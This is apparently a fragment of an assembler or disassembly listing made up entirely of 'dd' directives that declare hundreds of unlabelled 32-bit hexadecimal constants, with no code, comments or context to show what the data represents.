		dd 4183C518h, 0ED8AF80h, 0B7EC6A74h, 6B06E0F4h,	5801049Ch
		dd 0DCAA8710h, 7C553F11h, 0AB16F718h, 7F1C118h,	0F4E47BE3h
		dd 1820605Ah, 9750551Eh, 4A14F688h, 3A806DCh, 93042927h
		dd 70ACC84Bh, 126105E3h, 801F5FDDh, 6CFA091Eh, 0E0FE633Ch
		dd 0B11E1780h, 76A303C5h, 0BE312F6h, 0EE16480Dh, 0D983191Ah
		dd 23C91F5Ah, 0F157B008h, 681704C3h, 0E64F03AEh, 303CF77Bh
		dd 1C5900FCh, 0B137099Fh, 90FD495Ah, 0E1C491F9h, 0B2C921B0h
		dd 0B143A208h, 2DB0708Ch, 0F9C4E030h, 80156E92h, 3110FBBBh
		dd 2DB8D9C2h, 3A12277Ch, 801C564h, 591AEBAFh, 0A022C2ECh
		dd 0A567F8h, 0F0B4E025h, 75723C6Dh, 9F1FE4A0h, 80B1BA2Ah
		dd 945C8709h, 0C83C01E4h, 0E7D8D7F2h, 20BB638Eh, 29DB53DAh
		dd 209C3882h, 98BB23h, 0FF1262FCh, 9602E85Ah, 3DC6EE17h
		dd 60A840A4h, 26889297h, 80005FE2h, 3CD620ACh, 62B87814h
		dd 7EF73A1Dh, 803C6024h, 71947D3Bh, 4847F649h, 9D137889h
		dd 0D7280077h, 787FDED8h, 3948189Ah, 9AFE00D0h,	0A27CA3E9h
		dd 60A874A1h, 0F2DE213Dh, 1B2C46E4h, 0FC00D44Ah, 0F0AEAA9Fh
		dd 0D167285Ah, 212F01A4h, 6A3023A1h, 0A0A91610h, 6007EAD4h
		dd 1C81164h, 3A06DC70h,	0E208BDDEh, 21C66009h, 6C7029A8h
		dd 10DCDD48h, 0E450CCF4h, 0A5012A48h, 0CCF0084h, 482F2B8h
		dd 3A31DE15h, 66F508BBh, 0B4642083h, 81B888B8h,	0F328B29Ch
		dd 2E4624C5h, 9CB8FE02h, 31C1483h, 0EAB80B6Eh, 0F03AAACDh
		dd 0B03AC09Fh, 0E1D0973h, 2CA7D77Ch, 1C28A81Bh,	536B0D00h
		dd 0F5D520FEh, 9C3300D6h, 95D1B524h, 0B389906h,	79BE1CDBh
		dd 0D0B7F200h, 2E2784h,	0FD8654DCh, 21E0A783h, 9DC43Ah
		dd 3EAC1420h, 3C34EE62h, 0B298E1BFh, 5CDC8CA0h,	0FBBD2D00h
		dd 4D57270Fh, 9BDF00ADh, 0F4604423h, 3E00C547h,	242062C2h
		dd 1338C0FBh, 302264h, 5D53B753h, 7900047Bh, 54789B6Bh
		dd 0FC84170Ch, 63691F2Bh, 641C8089h, 0A963150h,	710E6F00h
		dd 0E7C7DEB2h, 60DB0773h, 0C05789DAh, 0CAAFC2F9h, 801F7A3Bh
		dd 116C79F2h, 604C0664h, 3D214059h, 0A0008C54h,	2E70A266h
		dd 2E7D38A9h, 7745ED8h,	0C09B1493h, 0E9D15916h,	0AB62F0Ch
		dd 0B3989Ch, 9FA2DF88h,	0EE4C4F80h, 0CE38EF00h,	0ABCB863Dh
		dd 1FB90395h, 767E2BCh,	0C1C33D8h, 0F9782660h, 0B60FB4h
		dd 0F1A41421h, 4316CBF2h, 7F00D7FAh, 7913E103h,	0BD8338h
		dd 5DAE0D58h, 5E1E59EEh, 605B9400h, 0C57A82Eh, 645F002Fh
		dd 372C9A26h, 0C20091E3h, 920B848Fh, 0FEFD8A9Dh, 0A8BD0034h
		dd 186D3EDBh, 8007FA3Ch, 66A49746h, 0F5758D80h,	7ADB1736h
		dd 76DC0708h, 2506D00Bh, 0BB005129h, 875DEDD1h,	11D447Ah
		dd 766526DDh, 0F0AB0D3Fh, 2B1242ECh, 0BB001EB6h, 4731B5AAh
		dd 121173C3h, 18CE5Ch, 5EDFAE6Bh, 100FA14h, 88ED194Dh
		dd 1ECA238Bh, 1CE1F1h, 0F6CC9A7Ah, 26004C25h, 61C4075Eh
		dd 1DA57Eh, 0F5D8554h, 0BEC36304h, 8C275F00h, 33C15560h
		dd 7B710382h, 727697D9h, 0AF44B980h, 5022DF01h,	0D358349Dh
		dd 3953C8F7h, 5BA8A079h, 0F1142ED2h, 0CA3E00EEh, 0E817EBB5h
		dd 6E9AD00h, 9B58354Ah,	0D93800F7h, 49E44F82h, 90FBF93h
		dd 1D5B3B63h, 0B6A33D87h, 0D44C5510h, 0DB58C07Ch, 6E94B5EAh
		dd 4A5F3700h, 95AC1080h, 0B897000Eh, 9E75057Ah,	0BE0F7C85h
		dd 0A0262409h, 558E3F6Bh, 9C64003Dh, 7AD8DCDDh,	0B800D9CDh
		dd 5FA9C093h, 267DB80h,	53A7691Dh, 0D9E003BDh, 8366FB61h
		dd 0F02D84h, 66C01358h,	47B3A696h, 0FCF1648h, 2055AAC8h
		dd 7099CE40h, 174130E8h, 0D2C52B30h, 2C383E72h,	0C954070Fh
		dd 0D10C0D6h, 157BF6Ah,	0FF99B952h, 0C439BC67h,	0F038605h
		dd 0C5451962h, 0B8B2FB9Ah, 0A0685A4Ch, 59318Ch,	10E75654h
		dd 0EC478D7Fh, 0F52590A0h, 0F37E40h, 2854BFB2h,	0C6748964h
		dd 0FB4339h, 1F927DE6h,	301EC46Bh, 8C7E4038h, 4112FE65h
		dd 3032293h, 88710DE3h,	4C2EACh, 0D76E8651h, 0BD299526h
		dd 11007072h, 0C67FC801h, 39746Bh, 69EF2592h, 510D2F03h
		dd 0EB93BC00h, 0D435850Ah, 55AE3C62h, 65442A80h, 7F5A6C0Ch
		dd 0E74F4C00h, 0D70D1C7h, 0E99802B5h, 0E1996207h, 2D5E2040h
		dd 32460F00h, 0F10420B4h, 5C310038h, 79AD9222h,	4500B194h
		dd 8AE3B07Dh, 0C4EA07DCh, 80D6AC49h, 3E864145h,	0DD0072ECh
		dd 0CFC5A7C4h, 72EC756Bh, 0E6D43A37h, 2A7A200Eh, 0DCE1066Fh
		dd 0D0CC6F74h, 1900D313h, 0FDFBABF3h, 7E2AD203h, 55C10905h
		dd 44101442h, 1C8C5F22h, 0C0206632h, 0CAC23DE0h, 97004D7Fh
		dd 5BD1473Eh, 0F04AF15Ch, 0BB540366h, 9453B291h, 0B8ADDAC0h
		dd 512BA80Fh, 0E825A0D3h, 0E1B7015h, 33DE1388h,	3669B500h
		dd 5300C54Ah, 0C3353DCAh, 0E1F245h, 73C8D2EEh, 7A8F39Ch
		dd 12749700h, 7BCEC283h, 0C5EB0010h, 0B26B32E6h, 6F1889B6h
		dd 0CE586A02h, 56EC0033h, 4EBC474Fh, 0F1009C03h, 60D3870Bh
		dd 31EAC0CCh, 34C811FAh, 0F65880C3h, 0C182AC78h, 0C84E0443h
		dd 80AAE11Dh, 0C91136F4h, 6CCF2600h, 1E448725h,	0B1800012h
		dd 1DF84075h, 0DC0079DBh, 3B1BD7BFh, 905783B8h,	0F2510202h
		dd 64A28BEDh, 3F867040h, 0C8B60900h, 0CF0B571h,	6518006Ah
		dd 0FD39384Bh, 0B401D1D8h, 235A5FEDh, 0E6EC0D7Ah, 589C000Bh
		dd 0D501B96Ch, 0FE1F7326h, 38000CBFh, 7F186190h, 720309A7h
		dd 648776E8h, 3DC950C4h, 811E3B65h, 45801A87h, 9AB5442Fh
		dd 0B12E0059h, 18CBAD1h, 98001671h, 0F02A419Eh,	2465A717h
		dd 478F1h, 7C73A64Dh, 1C008615h, 51B43460h, 9282D1F3h
		dd 6D62000Ch, 6CC88B92h, 0E97D7C23h, 0C0B0B700h, 0E53E55A2h
		dd 8F860EDEh, 92A337FDh, 6BC80F4Dh, 0A01E5DCAh,	0E740557Eh
		dd 11E3C8A3h, 0AF3B1CEBh, 4972C087h, 4AF6790Bh,	38696800h
		dd 0C72A35ECh, 0E0D32410h, 7DD500A4h, 1C310850h, 0CE05A500h
		dd 0DC457CBAh, 0DD67002Ah, 72C38048h, 0F001EC10h, 5B2B8278h
		dd 6060CDD5h, 15C0C0B8h, 764F70A4h, 0EECEB21Fh,	668E7A00h
		dd 3FD3F14h, 0EBF4360Dh, 5BD8473Ah, 2709B734h, 8ED1FBEh
		dd 6900D154h, 53F8D226h, 978E0048h, 4D7052D3h, 7B003877h
		dd 0C4D1FDB0h, 1FE4D2D4h, 0C03B83DFh, 0E99E8DB5h, 32B89CE5h
		dd 37626100h, 29FDBF5Eh, 69760309h, 8C80650h, 8A9B4CE1h
		dd 0CA53BA11h, 61427804h, 4C96490h, 508C00C2h, 95281D2Dh
		dd 3A1E7752h, 8A004D37h, 0BCF1D3F8h, 0D2EF2012h, 0A501B21Dh
		dd 0C805BC0h, 1F733DCBh
		dd 0C02EDCBBh, 7B0677BEh, 0DB00C550h, 0CD2AC4DAh, 46D3FDh
		dd 0B730CC65h, 36F053FEh, 0E33DBE00h, 6C5D3EABh, 0D8F400F5h
		dd 78EE9F73h, 0FD039AF1h, 0F62D3FD0h, 0EAB41DD4h, 8FF40026h
		dd 0C073178Ah, 3CCF1500h, 19960610h, 0A78803EFh, 987B5E9Ch
		dd 87006072h, 5A806DE6h, 4A8C9F3h, 2DD3FCA3h, 5754D0CAh
		dd 0E3F06671h, 0CF8F6A01h, 0F1B29DF2h, 3FD1FCCCh, 8C800477h
		dd 37BD5D03h, 0A200C352h, 542356D5h, 31F45Ch, 189FFB34h
		dd 40A4FF3Ah, 9B7FFD3Eh, 9F60792Fh, 0A75D09F9h,	86A960FCh
		dd 3D085776h, 18637C25h, 88E0C53Ah, 99CFBE75h, 43B440E4h
		dd 79AC222h, 37C528F2h,	19567063h, 0B0263849h, 5400843Eh
		dd 0EDE44142h, 7F82CCE7h, 5A000379h, 0A9824A66h, 5C4456C6h
		dd 606102D2h, 0D40667E2h, 78C40EABh, 0F248BD1Dh, 0F4E3EC00h
		dd 0C7BCF39Dh, 0DA944A19h, 0ADDD0E60h, 7D49F080h, 671F3879h
		dd 0AE804D44h, 2CF5A904h, 3B5C0313h, 807E7DB4h,	55A370C7h
		dd 0A8A19E4Bh, 0EC5ECC10h, 968F800h, 21F57EB1h,	49A24C88h
		dd 53D98E00h, 0AAC35193h, 3FDE6400h, 1D46DB03h,	0EBC90689h
		dd 987BA5B7h, 32F8591Eh, 0AE798180h, 0C055D646h, 888589C9h
		dd 8A3F8215h, 0BC2AF7C7h, 0F903C453h, 25B1D93Fh, 8040ABC3h
		dd 0C33A444h, 5A7830DEh, 0C5000718h, 3B5EEEDAh,	4CFC89C8h
		dd 0B73C1CC4h, 0FBAAAC00h, 0FFCBBCA3h, 38CC7859h, 0CC048134h
		dd 0EB7BB8BFh, 3C3CE730h, 0F9065C5Dh, 282CBAC7h, 51A3E205h
		dd 0F10F04A9h, 81CCB457h, 652A5D64h, 688010F5h,	289A4016h
		dd 5503C481h, 0CC301E70h, 0F9A00001h, 0FFC6E163h, 58C1DABFh
		dd 0B1E033FBh, 0AB264E00h, 880B0728h, 849DA918h, 1F94518h
		dd 8219E306h, 0E0E1715Eh, 18782590h, 0FA02E275h, 402B3710h
		dd 124480Ch, 15042875h,	0B95D0848h, 3880C353h, 0C4887595h
		dd 615EEEFBh, 7E34C8CCh, 5AE9917Dh, 381C15E2h, 0C5128A3Ch
		dd 3A2441D5h, 9F643940h, 75C021F8h, 9A445EDEh, 3D7892B4h
		dd 6C0052FDh, 1F9050A7h, 0E90380E8h, 8CA91CDAh,	855C80BEh
		dd 43E300E7h, 57811DBAh, 49E4C39Bh, 5A00F174h, 0EF6FEE9Dh
		dd 0B83D0FEDh, 0CF7290h, 0C9A4C4EAh, 79F0B102h,	54AC0600h
		dd 0CB8F5872h, 0D0AD1393h, 0DC5400DDh, 2BCF2702h, 44BD6500h
		dd 0EAE12AC1h, 0AE7000A0h, 0FDF1803Ch, 0A93AEB8Eh, 0DB55177Dh
		dd 7E2BC000h, 77DA58h, 300CCA88h, 0AAA6BDCh, 1B00AF98h
		dd 45E21303h, 0C2EC67h,	77C4BBEDh, 0CECFFBBCh, 0FDCCC300h
		dd 0B7DFAF11h, 8C4F0021h, 37FC0252h, 28009215h,	0B48527E9h
		dd 956359h, 5F1362BEh, 5DC5CFE0h, 4AAFAC00h, 0B265B5C0h
		dd 612B00BAh, 819BE70Ch, 58C40935h, 0D2C0425Fh,	80F9BDh
		dd 5B7FAEEAh, 0C0F3D508h, 50F0044Fh, 93E300F5h,	6E312C53h
		dd 0CA005E60h, 0E817AE2Ah, 0F42F1170h, 0B50E0080h, 66BF598h
		dd 0A7009641h, 0CECD69D8h, 87C1D5h, 4E681DEAh, 0C75838B7h
		dd 92ED0D12h, 7A7DB040h, 1EDD1FF8h, 0C3DC6350h,	0D9EFDF41h
		dd 0D4C859B8h, 2DFD6503h, 0D82EAB0Dh, 9B0AE26h,	99D53FDFh
		dd 0B84B9D80h, 240E8378h, 8EDB277Ch, 30A5007Bh,	0C259AF76h
		dd 0CF60D69h, 1BFB5481h, 2722E095h, 7E89010Eh, 3D04B2AAh
		dd 0C8B05E2Eh, 0D0C2031Eh, 3606866Eh, 46D91B88h, 494AC77Eh
		dd 0A441B0A8h, 0AB56DCh, 390B6312h, 69E4A767h, 7C595C00h
		dd 47F927B8h, 0B8C95F61h, 2BAC0130h, 0C60419D1h, 48B71420h
		dd 900024C1h, 2D9CBEEAh, 8EE24C0Ah, 0E695FA0Fh,	325E8083h
		dd 7C63CFh, 1A82EE24h, 0DB6AA2CBh, 0BA609F00h, 5DE2E416h
		dd 0D369252Dh, 40833C05h, 0CC44940h, 6A1EA991h,	0E1B39355h
		dd 9F1AF80Bh, 7A29001Fh, 309A26ADh, 0B30020DFh,	9F5E09Ch
		dd 1FD1EDh, 0AF2D0CAAh,	8F9E4CD4h, 0AD0229FCh, 12A78E33h
		dd 0F0B4835Ch, 0C3C0E9ACh, 0CC2C1DEDh, 6200C358h, 70970A8Dh
		dd 570050DFh, 780F2CF0h, 167DB006h, 1E9E519Dh, 0E99B0101h
		dd 28BB36FBh, 0A77E008Ch, 0ABA008F7h, 943D00FAh, 28A4B60Ch
		dd 6005267Ah, 382CF9C6h, 36D29E80h, 9B251C7Bh, 0ECC2817h
		dd 0CC4E31BEh, 3CB9FD00h, 59C07BCFh, 153878D0h,	3A010AF1h
		dd 808831CEh, 0B9056A6h, 5512B559h, 7CD0D64Ch, 0C0A968h
		dd 0DC932AEBh, 0A40EA884h, 0EF7A5D1Eh, 10BB5642h, 0F8B3E048h
		dd 6A85007Fh, 6B4E0FD8h, 2019DDAh, 6726AA4Ah, 6CCC253Eh
		dd 17227FFEh, 78C1EB9h,	3036B7F2h, 0C499C83Fh, 0BD53A800h
		dd 0B5FD717Eh, 9FF300BAh, 7AE54663h, 550E56B3h,	0E0049E29h
		dd 1759F199h, 0C8D400B4h, 0DFB673E2h, 8B3F7566h, 703F001Ah
		dd 0A91495EDh, 0D422002Eh, 0E748A73Ah, 9D001764h, 447EBB6Eh
		dd 45603Bh, 27FF7A93h, 0D5EE632h, 228D3D03h, 0B0068EC9h
		dd 3A55EF42h, 0F83B4AAAh, 836C1E30h, 0D007D5Fh,	0BB439062h
		dd 8B6CA7h, 0F0DA04B9h,	0FAF8469Ch, 2E00C573h, 4E5AE621h
		dd 0B68D0Eh, 0A4A79364h, 305B2476h, 0A1FBB801h,	73993E9Ah
		dd 0FA6B66E4h, 0E9933E38h, 0A6E3460Fh, 78EB5080h, 47025D26h
		dd 9F37B51Bh, 751C80E1h, 0F4878DB1h, 14E7394Ch,	531CD800h
		dd 0C95FB804h, 440063E0h, 24E0486Eh, 0CCE49h, 0D5429F27h
		dd 0D7F5CA7Dh, 5AAE7600h, 358ABC93h, 14F20050h,	2F824886h
		dd 30B0B53h, 74F9CF7h, 8780D584h, 3A43890h, 0EC408FABh
		dd 8580889Fh, 0B0187CD8h, 1610964Ch, 0CF5F18A1h, 5E412191h
		dd 9234D000h, 515AD587h, 86090093h, 3DE1632h, 6400F7C8h
		dd 0B9A3BFA7h, 0A6656EBh, 0D8FE8A18h, 0C8803BACh, 198E77FAh
		dd 6200375Fh, 8C3DDCDFh, 20B5A9h, 350685ACh, 4D5A1F0Dh
		dd 9530E790h, 0FA5DF849h, 140C00A1h, 5B6C2F45h,	6F00D24Fh
		dd 514CA4F5h, 1F87AB91h, 108C50Ch, 0CD8D687Dh, 29DCF817h
		dd 7892103h, 98718BC9h,	0BC1BA0h, 95C750D0h, 0B8BA9498h
		dd 341E9300h, 720E5709h, 3F4C2E80h, 2EE00E2h, 0B8A7F7E6h
		dd 20606807h, 8B139614h, 0BFFED0C6h, 0AB71048Eh, 0C061D379h
		dd 9EC148A2h, 504F4100h, 0F884CF35h, 0E067038Ah, 5890C014h
		dd 6BEDE6F0h, 0A9051907h, 15F0A245h, 0CD6544h, 0CE83AC3Fh
		dd 0FCD3DF3Ah, 66CDD14h, 0E8A20FA4h, 0D92A6013h, 176902B7h
		dd 238BBB1h, 3A8A7457h,	0BA608162h, 0FEFD66FAh,	0ECAD96C1h
		dd 9100D1C0h, 6CA9FE54h, 8C579Eh, 0DDD32BB6h, 0E4D7993Fh
		dd 926270Ah, 7F00B018h,	0A7B27CA9h, 248C75AEh, 0C92959h
		dd 794C6DBFh, 1C00D5A2h, 53551049h, 0C02E94D9h,	0BF817B70h
		dd 0CBF2C98Bh, 990EEB00h, 0BAC84F9Dh, 0C615003Eh, 6EBED8C4h
		dd 0E149E50Bh, 0A6E7002Ch, 16A3322Dh, 4F7B06h, 62E99592h
		dd 1B882AD0h, 2B61310Fh, 0F50E6025h, 242EF602h,	8090B707h
		dd 0A012C71Dh, 9D003273h, 0F971D17Ch, 0C87576h,	9B53084Fh
		dd 0F5B01CA9h, 45F44490h, 0F4E1A600h, 6E79930Ch, 1CAB1492h
		dd 5B0D10BEh, 0E0B8E1A0h, 6F003161h, 64090704h,	7C6CC628h
		dd 0C779F0C3h, 0C0ADAC10h, 9C697FCEh, 0B4E4F270h, 0C84882E9h
		dd 0CBF9428h, 0DD0EAD41h, 1631977h, 0E0335A67h,	6996980h
		dd 0B91F5664h, 0E4F344A0h, 0C8447200h, 9E5EDD6Fh, 0DC280E3Ch
		dd 197F51Bh, 53381882h,	756B20F6h, 0BAB03B00h, 0AAAB7B7Dh
		dd 46C2CEEh, 0A972001Bh, 40498E0Eh, 310E21F4h, 60E3745Dh
		dd 51D409D0h, 0E1180F41h, 28207FA2h, 4DEDDA5Bh,	4CAE0B01h
		dd 0F9A4F6A3h, 3370EE8h
		dd 587A654Bh, 0FCE1783Fh, 590687C3h, 0A6D74896h, 75066150h
		dd 0A73B00A0h, 4593625Ah, 0A324236Fh, 0F2C706Ah, 9800E212h
		dd 0D9A20533h, 857007C4h, 4AA168EBh, 789C8088h,	94131858h
		dd 0E018A8A4h, 0AFF03E26h, 0C215010Fh, 0A7E664F0h, 0E49ACD7Fh
		dd 4F0CF752h, 293C6073h, 8B74882Bh, 62CEB32Ch, 7CB09500h
		dd 8CE1E9h, 0D3909670h,	0D89F5F27h, 58286A3Ch, 0EB0200D4h
		dd 0E954E2FCh, 0A7A600D5h, 77513644h, 921FC311h, 0D938C40h
		dd 302FAC00h, 0EE5255h,	64D02642h, 68361C8Bh, 0FE004779h
		dd 0CB406165h, 0AC2312h, 0EC4C2725h, 29093160h,	0D5AEB000h
		dd 0F816AF0Fh, 853500BEh, 9619078Eh, 0C9710EC8h, 0EE00A490h
		dd 0BD74416Dh, 4E84F2h,	0DBFF4B86h, 0FB50D38h, 0E8DAB800h
		dd 619EBD6Bh, 7AE3003Ah, 0B9DECD33h, 353E70F0h,	724D0086h
		dd 0E90A592Eh, 1E2E5h, 0D4492EBh, 8CE0F824h, 288F2A00h
		dd 83B3DB57h, 86B700CCh, 0A95F68CDh, 1000841Bh,	0B123E774h
		dd 0ACC9EAh, 5CDCA3AFh,	9A037287h, 55313203h, 0EF90ADA4h
		dd 8E354D00h, 857D0E70h, 3A20F251h, 5C9E7F86h, 1172C002h
		dd 8370CA48h, 0E82680FCh, 9824A563h, 0DD68033Bh, 8A1F50B5h
		dd 0B903B4C8h, 66DCB100h, 8453D3D4h, 0F8B62711h, 0DD71E800h
		dd 0AD00B33Dh, 0DA5503F2h, 0A0822C09h, 90B5DBD4h, 0C6D0001h
		dd 0BBC2F734h, 8775397Ch, 28BA3F7Ah, 98DF3C1Ch,	3901D94h
		dd 0A8DBDDA4h, 3418E033h, 0F9F004Ah, 0DE7ADA3Fh, 0EA0491D0h
		dd 9387BB4Ch, 90B35C80h, 0FA5BE2CFh, 4DD900C5h,	688296E1h
		dd 27076922h, 383A0D2Ch, 8DC0C480h, 149E39D5h, 6E931080h
		dd 65FBC3D7h, 0EA73F300h, 0D986A540h, 7C5F0087h, 0A03A1DABh
		dd 9C0008D4h, 9679646Ch, 60BA467Eh, 6EFFC8B0h, 2F0043B2h
		dd 54F9C204h, 2871B3Eh,	0C8932B94h, 0A448D324h,	0B0343C9h
		dd 6B908034h, 9257B077h, 157C4854h, 40E05F1Ch, 421FEC15h
		dd 7A17757Eh, 5D044C2Ch, 34808CDCh, 38CC38C3h, 1E9C0EE6h
		dd 1A5D0065h, 0E8BCE12Bh, 19AB1F0Ah, 66000893h,	0D7FD4365h
		dd 0D09C0023h, 1FDE7B57h, 17F44520h, 44CEF09h, 0F5EA80FBh
		dd 8095CAh, 630B8949h, 6A069E3Bh, 0CD6DF4F9h, 10D74Dh
		dd 81BAAC84h, 3D6F28Ch,	9C1435AAh, 0B1F865E5h, 0F41297F5h
		dd 0B801136Ah, 0AB43B366h, 7F83160h, 0BB170785h, 755D1118h
		dd 93942064h, 84B19B05h, 0A4C0B9F1h, 98D98C72h,	58B0344h
		dd 0B31D214Bh, 0AF74C3A0h, 0E501A277h, 9C137D02h, 88ED61CFh
		dd 34949740h, 3D2D00F2h, 4E7B7117h, 0B2706BC5h,	1F12F1F4h
		dd 7C0CC254h, 3C502479h, 1C28E4FAh, 0EB7DBEh, 25F685B7h
		dd 501B924Dh, 7ABFE200h, 0B624AC3Ch, 0B9400A0h,	0AA09467Ch
		dd 3700F44Dh, 3E8EA134h, 2432EBh, 6612CD5Eh, 4A83C2D2h
		dd 8056FE00h, 31F860B2h, 0E2DB848h, 6A70E76Fh, 4AF091A0h
		dd 9F5027ACh, 56F8D3ACh, 71137AFEh, 381E517Ch, 208AD40h
		dd 1ECFAF5Fh, 0E9412h, 8F65A9E4h, 0B3876BEh, 5F4880B0h
		dd 0AB1C1A63h, 29F492h,	0CF7820DBh, 7E4B7C56h, 32434803h
		dd 88CBE33Dh, 943ED268h, 330E0E20h, 0C1AAED24h,	0F814A55Fh
		dd 42308ED6h, 644B0E56h, 19BF60FFh, 0CE719816h,	0E6FD9600h
		dd 6CFA5E05h, 9DF701B6h, 942E50A4h, 0ED07F422h,	315D580Eh
		dd 118A0089h, 0A0AECAh,	0A5B8880Fh, 0D467A8AAh,	0BB0089B0h
		dd 471F2FEh, 166CF4Ah, 20CBFF7Dh, 0A029E5F9h, 0CE04B040h
		dd 4B74FE3Eh, 56692C80h, 361B3D8Eh, 0FAC3F780h,	91C71A7Eh
		dd 0B7F8FD00h, 0BD76F6E5h, 106160Ah, 2268000Dh,	0F64C283h
		dd 30266317h, 0C9401444h, 88C64CC8h, 0F87D1B8Bh, 0B8005A94h
		dd 3705AFAh, 0B03E7AD0h, 0FBF30001h, 79043C9Bh,	1100D5A6h
		dd 6A10B6B0h, 5EBAD9h, 45E0B8F2h, 2F9C5A2Eh, 0E2334E00h
		dd 0C90D3729h, 3C980055h, 57278B02h, 0D41D51F4h, 80FE663Bh
		dd 28F2BA16h, 2DFAC9A4h, 41FE764Eh, 0B0D5D900h,	3B86EDh
		dd 32CB2B0Eh, 7D758844h, 43F27A00h, 9A85CF74h, 0DFF0E4h
		dd 7F50770Ah, 3D5DB657h, 1B9F3000h, 8791DCB2h, 5C2C0089h
		dd 0FF263F54h, 273C608Bh, 0A1CF80C1h, 42F9DCD6h, 0A5B10017h
		dd 0D17D434Fh, 0D43A6B12h, 5BDA186Ah, 2A4938h, 0DB92D746h
		dd 6438789h, 0C7DDF61Ch, 0AEA3D64Eh, 0B508202Ch, 64605Ah
		dd 0F3C2287Dh, 0E5B33045h, 65E0A00Fh, 84A32094h, 3392C5Eh
		dd 0E2CCD210h, 7F88DFB2h, 8D0138D6h, 8B1F7023h,	37E88CB5h
		dd 1E390A97h, 83CCF164h, 0CC82D453h, 29332288h,	0C41A60C7h
		dd 704CB5B7h, 0C969073Ah, 4718D94Ch, 0C4E54141h, 201041FBh
		dd 0AA1C40BEh, 2E1D4712h, 52036ACCh, 0E7A15E3Fh, 3E103A86h
		dd 0F4180861h, 697320BEh, 5E173101h, 59281429h,	9EAD2440h
		dd 451D0078h, 0B2B906BBh, 7066076h, 861B14F9h, 89620438h
		dd 2752C9h, 1C7C21DBh, 0FC840030h, 3D14BDF6h, 9DF851BBh
		dd 35E11803h, 0C72E5h, 0ACF73680h, 3AFF3FDh, 5B3F2A00h
		dd 0D2718ABEh, 0E83100A1h, 55646548h, 98E82C45h, 74171200h
		dd 1F9A3926h, 3F730075h, 8BD77249h, 0B3B0F78Dh,	23F34100h
		dd 77CBA642h, 9F810051h, 82184DADh, 0BF005BBEh,	84407AA7h
		dd 0F0588F9Dh, 62443C47h, 4E535080h, 563DD2D0h,	2A8D3Ch
		dd 0C5DC4F09h, 12B082DFh, 0AA950FF5h, 7948C700h, 4C3CDBh
		dd 0BFA7F9E3h, 9278D0C6h, 0EFD86200h, 65375566h, 0DAD200B5h
		dd 0B9B083F3h, 0C907A5DCh, 0CCB7DE3Ah, 0E0BD9781h, 6AE0D9E1h
		dd 630333B0h, 8D4B10h, 981D39ECh, 0F4A8A0DEh, 761F2153h
		dd 0C987D948h, 85C2034h, 7421C04Fh, 0B441762Ch,	930F84B0h
		dd 205682C1h, 3E9CE9A7h, 68F362FCh, 0F4087EAFh,	0E6463420h
		dd 52763B02h, 4E3120D9h, 76166610h, 43008DF8h, 0BDD149DDh
		dd 83B465h, 0B50FC8ACh,	57207807h, 0BB2B6117h, 197118FFh
		dd 64410458h, 2D2F4C41h, 0C2104440h, 0B5A20733h, 0B329B8DEh
		dd 9A3B976h, 2B752100h,	0CA6E6446h, 7F674E2h, 0AD8BDD7Dh
		dd 142CB099h, 0E0602BFCh, 2D453068h, 0E7DF30E5h, 2385EB10h
		dd 6CBC4400h, 3A054216h, 68CE00DCh, 7FDA1173h, 727440E5h
		dd 8AD5C504h, 0BC14A35h, 0C1C00BE7h, 7132EEC6h,	80050056h
		dd 0B6D59441h, 20083E4h, 44779CF5h, 0E384C2h, 0ADCCB861h
		dd 0CA45828Eh, 43FDA801h, 1DD7A4F8h, 1F2537F8h,	408114AEh
		dd 0D4B55A6Eh, 9F001B48h, 6A317CDh, 3BB9624h, 4EE62E1Ch
		dd 4A88E293h, 0BD1F7BB3h, 2D4FEFE8h, 472F60C5h,	0B4FD64h
		dd 9EFEECC8h, 1A0C04CCh, 0F1CA8200h, 0D755EE0Fh, 2B7800B6h
		dd 5E448520h, 0C907EF37h, 0CB2AB304h, 8A50F1E0h, 1C28C856h
		dd 24300842h, 0F0CA2187h, 90505188h, 0AC3F9F88h, 6F293375h
		dd 51944C94h, 0F916001Ah, 0CB2C172Dh, 79004123h, 4D725027h
		dd 6FC776h, 5BFE4340h, 0D5F9E5B0h, 0C4669912h, 5A8CE600h
		dd 6B4AF4h, 643ADF25h, 4B81A9B9h, 2C9D3600h, 60D93B21h
		dd 70E896h, 0A48F6B40h,	0B2548E72h, 83AFF000h, 22FB0BE5h
		dd 594000DDh, 0EE1049A5h, 240007D2h, 602F53B7h,	1FC28D0h
		dd 0B4956939h, 81EA035Fh, 51D6C444h, 4CE025EFh,	0CF1400F7h
		dd 0E88BEC6Eh, 6F3E8743h, 0C06A80ABh, 9CD9366Ch, 0A2C800C1h
		dd 91DB5911h, 0F10F9BC2h, 0E0341735h, 8C2B3B15h, 160E0089h
		dd 6B2E7911h, 0F901AEB3h, 0A820450Bh, 5BF83AA1h, 855730E4h
		dd 0DF2E2D10h, 117F3301h
		dd 2FCE6632h, 0B05A1880h, 249AFF3Dh, 0FD26B43Ch, 30E07500h
		dd 7C8B296Eh, 0B5643ECAh, 83520076h, 0EEA4D5FCh, 0BFF817CEh
		dd 0A97F357Eh, 0E0AD4B00h, 0DCE31D57h, 0EA2151BAh, 0D5B84082h
		dd 31C08AFAh, 0A22C2E16h, 680022C1h, 1FFDF5A9h,	874F03FCh
		dd 0DC2803FFh, 8E0A71A8h, 0A7905950h, 0ED1ED600h, 0B26E2657h
		dd 0F7A6007Eh, 0DD1BADD8h, 1603091h, 788B3790h,	987F89h
		dd 1E69AB3Eh, 47771ABDh, 46EAA000h, 6202D615h, 0AEF8C7AAh
		dd 64A2B00Dh, 0B700B2C9h, 0B0B39FEBh, 0A0C391h,	0AAF49AA5h
		dd 69CBCD61h, 0F37F9700h, 0CA83940Fh, 1C7A0079h, 4670566Ah
		dd 4100A01Dh, 500CCC72h, 0CFFF23h, 9B0558DDh, 757F4878h
		dd 4C015A75h, 9D6AC473h, 6C40FD4Eh, 2E0C2h, 2A295414h
		dd 0E7B6DE3h, 990061ECh, 13550526h, 0D3ED3h, 303923D6h
		dd 1A14E2B5h, 0C8C44A00h, 12EBF322h, 348A001Eh,	297199CBh
		dd 8777EF5Fh, 8E1D3D3Eh, 26FCAE5Eh, 4100677h, 0D45B1734h
		dd 0C9754476h, 228481C0h, 0E854503Dh, 85D7018Ch, 0A2169ADEh
		dd 2D01EC5Ah, 6B228100h, 82C40946h, 8FC90940h, 1801CFE0h
		dd 408E155Dh, 0FC9F3390h, 4100F3ECh, 4E7B807h, 0F438441Bh
		dd 0AC050E1Dh, 64E5B2EEh, 0CBCDC0B1h, 610741DBh, 0AE8D3B7h
